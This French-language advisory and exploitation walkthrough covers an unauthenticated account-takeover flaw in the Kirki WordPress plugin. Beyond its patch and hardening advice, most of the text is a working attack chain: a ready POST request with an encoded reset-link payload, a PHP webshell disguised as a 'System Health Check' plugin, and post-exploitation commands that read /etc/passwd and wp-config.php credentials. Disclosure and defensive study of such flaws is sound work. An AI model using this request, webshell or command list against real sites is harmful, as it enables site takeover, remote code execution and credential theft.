
CVE-2026-8206 : Kirki Customizer Framework - Prise de contrôle de compte non authentifiée (CVSS 9.8)
CVSS v3.1 9.8 / 10.0 CRITIQUE
Vecteur : AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-8206 est une vulnérabilité de prise de contrôle de compte non authentifiée dans Kirki Customizer Framework — un plugin WordPress populaire de création de pages avec plus de 90 000 installations actives. La vulnérabilité permet à un attaquant de prendre le contrôle de n'importe quel compte WordPress (y compris celui d'un administrateur) en envoyant simplement une seule requête HTTP.
Le bug réside dans le point de terminaison REST API kirki-forgot-password du module ComponentLibrary. Ce point de terminaison permet de demander la réinitialisation du mot de passe de n'importe quel utilisateur et envoie le lien de réinitialisation à une adresse e-mail spécifiée par l'attaquant, au lieu de l'adresse e-mail enregistrée de l'utilisateur.
Conditions préalables à l'exploitation :
→ Chaque site WordPress avec Kirki 6.0.0–6.0.6 installé est vulnérable par défaut.
Kirki enregistre des points de terminaison REST API pour la fonctionnalité Component Library, notamment login, register, forgot-password et change-password. Tous autorisent l'accès invité (guest_permissions_check renvoie true).
Le nonce WordPress est un jeton de protection CSRF. Kirki exige un nonce via l'en-tête X-WP-Element-Nonce ou vérifie un paramètre nonce dans la requête. Cependant, le nonce peut être généré/extrait publiquement côté client.
WordPress utilise get_password_reset_key() pour générer un jeton de réinitialisation de mot de passe. Ce jeton est inclus par Kirki dans le modèle d'e-mail avant l'envoi.
Fichier : ComponentLibrary/controller/CompLibFormHandler.php
Dans la version vulnérable (6.0.0–6.0.6), la fonction handle_forgot_password() ne vérifie pas si l'e-mail fourni correspond à l'e-mail enregistré de l'utilisateur. Un attaquant peut spécifier le nom d'utilisateur de la victime et son propre e-mail — le lien de réinitialisation sera envoyé à l'e-mail de l'attaquant.
Code source vulnérable :
public function handle_forgot_password( $request ) {
$form_data = $request->get_body_params();
$this->validate_nonce( 'kirki-forgot-password' );
$email = $form_data['email']; // <-- ATTACKER CONTROLLED
$username = $form_data['username'];
$user = get_user_by( 'login', $username );
//BUG: Does NOT check $email === $user->user_email
// Attacker's email is used directly
$key = get_password_reset_key( $user );
$reset_link = "$url?action=rp&key=$key&login=$username";
// SENDS RESET LINK TO ATTACKER'S EMAIL
wp_mail( $email, $subject, $body_with_reset_link );
// ^^^^^
// ATTACKER'S EMAIL, NOT THE USER'S EMAIL
}
L'objet et le corps de l'e-mail sont reçus du client via les paramètres emailSubject et emailBody sans aucune signature HMAC pour vérifier leur intégrité. L'attaquant peut modifier arbitrairement le contenu de l'e-mail envoyé.
// VULNERABLE VERSION: No HMAC verification
$email_subject = $form_data['emailSubject']; // Client-controlled
$email_body = $form_data['emailBody']; // Client-controlled
// No verify_email_template_signature()
// PATCHED VERSION (6.0.7+): HMAC verification / Email matching against DB
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response( array( 'message' => 'If an account exists...' ), 200 );
}
| Facteur | Explication |
|---|
L'exploitation de CVE-2026-8206 part d'un accès nul — aucun compte, aucun mot de passe, aucune session — jusqu'à la prise de contrôle totale du compte admin en utilisant uniquement des requêtes HTTP.
Phase 1: Extract Nonce → Obtain nonce from a public page (if required)
Phase 2: Hijack Reset Email → Send reset link to attacker's email
Phase 3: Reset Password → Change admin password using the obtained reset key
Phase 4: Login Admin → Log in with the new password
Phase 5: Webshell Upload → Install backdoor via plugin upload
Phase 6: RCE → Execute arbitrary commands on the server
Téléchargez le plugin depuis wordpress.org et ouvrez directement le fichier CompLibFormHandler.php :
// The handle_forgot_password function receives data from the client:
$email_subject = isset( $form_data['emailSubject'] )
? sanitize_text_field( $form_data['emailSubject'] ) : '';
$email_body = isset( $form_data['emailBody'] )
? json_decode( $form_data['emailBody'], true ) : '';
// Email body rendering logic:
foreach ( $email_body as $body_data ) {
if ( $body_data['type'] === 'text' ) {
$email_body = $email_body . $body_data['value'];
} elseif ( $body_data['type'] === 'chip' ) {
$email_body = $email_body . $chip_data[ $body_data['value'] ];
// ^^^^^^^^^^^^^^^^^^^
// $chip_data['reset_link'] = actual reset URL!
}
}
→ La lecture du code révèle : emailBody doit être un tableau JSON, chaque élément possède type et value. Si type = chip et value = reset_link, Kirki insère automatiquement le lien de réinitialisation dans l'e-mail.
Effectuez une recherche grep directement dans le répertoire du plugin :
grep -r "emailBody" wp-content/plugins/kirki/assets/js/
grep -r "reset_link" wp-content/plugins/kirki/assets/js/
Le code frontend compilé révélera la structure JSON exacte requise.
Find endpoint (/wp-json/ or rest_route)
↓
Read PHP source → find $form_data['emailBody']
↓
Understand JSON array format (type / value)
↓
Read chip_data array → find key "reset_link"
↓
Build payload: emailBody=[{"type":"chip","value":"reset_link"}]
↓
Test → success
L'attaquant envoie une requête POST au point de terminaison forgot-password avec le nom d'utilisateur de la victime (admin) et une adresse e-mail contrôlée par l'attaquant ([email protected]). Le serveur génère une clé de réinitialisation pour la victime mais envoie le lien de réinitialisation à [email protected].
Envoi de la requête :
POST /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password HTTP/1.1
Host: localhost:8181
Content-Type: application/x-www-form-urlencoded
username=admin&[email protected]&emailSubject=Password+Reset&emailBody=%5B%7B%22type%22%3A%22text%22%2C%22value%22%3A%22Reset%3A+%22%7D%2C%7B%22type%22%3A%22chip%22%2C%22value%22%3A%22reset_link%22%7D%5D

Réponse (succès) :

E-mail reçu dans la boîte mail de l'attaquant (MailHog sur http://localhost:8025) :
Subject: Password Reset
Click the link below to reset your password:
http://localhost:8181/wp-admin/install.php?action=rp&key=JHr8kQ2mVnXz9pLw&login=admin

L'attaquant utilise le jeton key obtenu depuis l'e-mail pour modifier le mot de passe du compte admin via le point de terminaison kirki-change-password ou le formulaire par défaut de WordPress, puis se connecte et obtient le contrôle administratif complet du site web.

Mot de passe modifié et accès effectué avec le compte admin.

Accès au compte admin réussi.
Après avoir obtenu l'accès au tableau de bord admin, l'attaquant passe d'une prise de contrôle de compte à une exécution de code à distance (RCE) via la fonctionnalité par défaut de téléversement de plugin de WordPress.
L'attaquant crée un webshell PHP déguisé en plugin WordPress légitime :
<?php
/*
Plugin Name: System Health Check
Description: System diagnostics tool
Version: 1.0
Author: WordPress
*/
if (isset($_REQUEST['cmd'])) {
echo '<pre>';
echo htmlspecialchars(shell_exec($_REQUEST['cmd']));
echo '</pre>';
}
Ce fichier est compressé dans system-health.zip pour être téléversé via l'interface Admin.
L'attaquant navigue vers Plugins → Add New Plugin → Upload Plugin, sélectionne le fichier system-health.zip et clique sur Install Now → Activate Plugin.

Après le téléversement, WordPress extrait automatiquement le fichier .zip dans le répertoire /wp-content/plugins/ du serveur, ce qui rend le webshell prêt à fonctionner.
L'attaquant accède directement au webshell via le point de terminaison /wp-content/plugins/webshell-plugin/shell.php


RCE réussie.
À ce stade, l'attaquant dispose d'une capacité totale d'exécution de commandes sur le serveur avec les privilèges www-data. Les actions ultérieures peuvent inclure :
Admin Dashboard (Account Takeover)
↓
Upload Plugin containing Webshell (.zip)
↓
WordPress extracts → .php file resides on server
↓
Access shell.php?cmd=<command>
↓
Server executes command → returns result
↓
RCE complete — full www-data privileges on server
| Version actuelle | Mise à niveau vers |
|---|---|
| 6.0.0 – 6.0.6 | 6.0.7 ou plus récente |
// AFTER (patched):
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
return new WP_REST_Response(
array( 'message' => 'If an account exists...' ), 200
);
}
$email = $user_email; // Force use of the user's actual email
Même si le compte Admin est compromis, les dégâts peuvent être atténués grâce aux mesures suivantes :
| Information | Détails |
|---|
| Plugin | Kirki Customizer Framework (WordPress Page Builder) |
| Versions concernées | 6.0.0 – 6.0.6 |
| Version corrigée | 6.0.7 (ou 6.0.12+) |
| Type de vulnérabilité | Prise de contrôle de compte non authentifiée via détournement de l'e-mail de réinitialisation de mot de passe |
| Point de terminaison | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password (ou /wp-json/KirkiComponentLibrary/v1/kirki-forgot-password) |
| CVSS | 9.8 CRITIQUE |
| Aucune authentification requise | guest_permissions_check() renvoie true — n'importe qui peut appeler le point de terminaison |
| N'importe quel compte peut être compromis | Seul le nom d'utilisateur est nécessaire (par défaut : 'admin') — aucun e-mail/mot de passe requis |
| Impact : prise de contrôle admin | Prise de contrôle admin → upload de webshell → RCE → contrôle total du serveur |
| Large diffusion | Kirki est un plugin largement intégré dans de nombreux thèmes WordPress |
| Commande | Objectif |
|---|
id | Confirmer les privilèges de l'utilisateur en cours |
whoami | Afficher le nom d'utilisateur actuel |
cat /etc/passwd | Lire la liste des utilisateurs du système |
uname -a | Afficher les informations du noyau/système d'exploitation |
cat wp-config.php | Lire les identifiants de la base de données |
ls -la / | Parcourir tout le système de fichiers |
| # | Phase | Méthode | Chemin |
|---|
| 1 | Détournement de l'e-mail de réinitialisation | POST | /index.php?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password |
| 2 | Réinitialisation du mot de passe | GET | /wp-login.php?action=rp&key=<token>&login=admin |
| 3 | Connexion admin | POST | /wp-login.php |
| 4 | Téléversement du webshell | POST | /wp-admin/update.php?action=upload-plugin |
| 5 | RCE | GET | /wp-content/plugins/webshell-plugin/shell.php?cmd=<command> |
| Mesure | Configuration |
|---|
| Bloquer l'installation de plugins/thèmes via le tableau de bord | Ajouter define('DISALLOW_FILE_MODS', true); dans wp-config.php |
| Bloquer l'édition de code depuis le tableau de bord | Ajouter define('DISALLOW_FILE_EDIT', true); dans wp-config.php |
| Restreindre les permissions du répertoire d'upload | chmod 755 pour les répertoires, chmod 644 pour les fichiers |
| WAF (Web Application Firewall) | Déployer ModSecurity ou Cloudflare WAF pour bloquer les requêtes anormales vers l'API REST |
| Surveillance | Surveiller les modifications de fichiers dans /wp-content/plugins/ à l'aide d'outils comme OSSEC ou Wordfence |